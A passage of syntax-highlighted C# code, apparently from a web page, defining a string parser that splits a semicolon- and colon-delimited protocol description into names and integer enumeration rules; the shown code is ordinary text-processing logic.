#007700">(</span><span style="color: #0000BB">string&nbsp;text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolIndex&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">string&nbsp;GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;index&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolString</span><span style="color: #007700">.</span><span style="color: #0000BB">IndexOf</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolIndex</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">index&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolString</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolIndex</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">index&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolIndex</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolIndex&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">index&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;ConvertToInt</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;idString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">Int32</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">idString</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;{&nbsp;return&nbsp;(int)</span><span style="color: #0000BB">text</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;End</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">protocolString</span><span style="color: #007700">.</span><span style="color: #0000BB">IndexOf</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">protocolIndex</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">protocolIndex</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolIndex&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;b</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;num</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Int32&nbsp;obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">||&nbsp;((</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num</span><span style="color: #007700">&#93;).</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">||&nbsp;!</span><span style="color: #0000BB">Object</span><span style="color: #007700">.</span><span style="color: #0000BB">Equals</span><span style="color: #007700">(((</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num</span><span style="color: #007700">&#93;)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;exception&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Not&nbsp;enough&nbsp;enumeration&nbsp;rules&nbsp;found."</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #0000BB">exception</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">virtual&nbsp;void&nbsp;ParseTree</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;str</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">";"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">":"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Set</span><span style="color: #007700">(</span><span style="color: #0000BB">str</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolHash&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">startValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">ConvertToInt</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">startValue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">End</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">++,&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">g&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Hashtable</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">obj&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">g</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">startValue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">End</span><span style="color: #007700">(</span><span style="color: #0000BB">text2</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;arrayList&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">End</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">ConvertToInt</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num2&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">End</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">b</span><span style="color: #007700">(</span><span style="color: #0000BB">num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text3&nbsp;</span><span style="color: #007700">=&nbsp;(string)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num2</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Hashtable&nbsp;hashtable&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Hashtable</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">g</span><span style="color: #007700">.</span><span style="color: #0000BB">ContainsKey</span><span style="color: #007700">(</span><span style="color: #0000BB">text3</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">g</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">text3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">hashtable</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">End</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">))<br 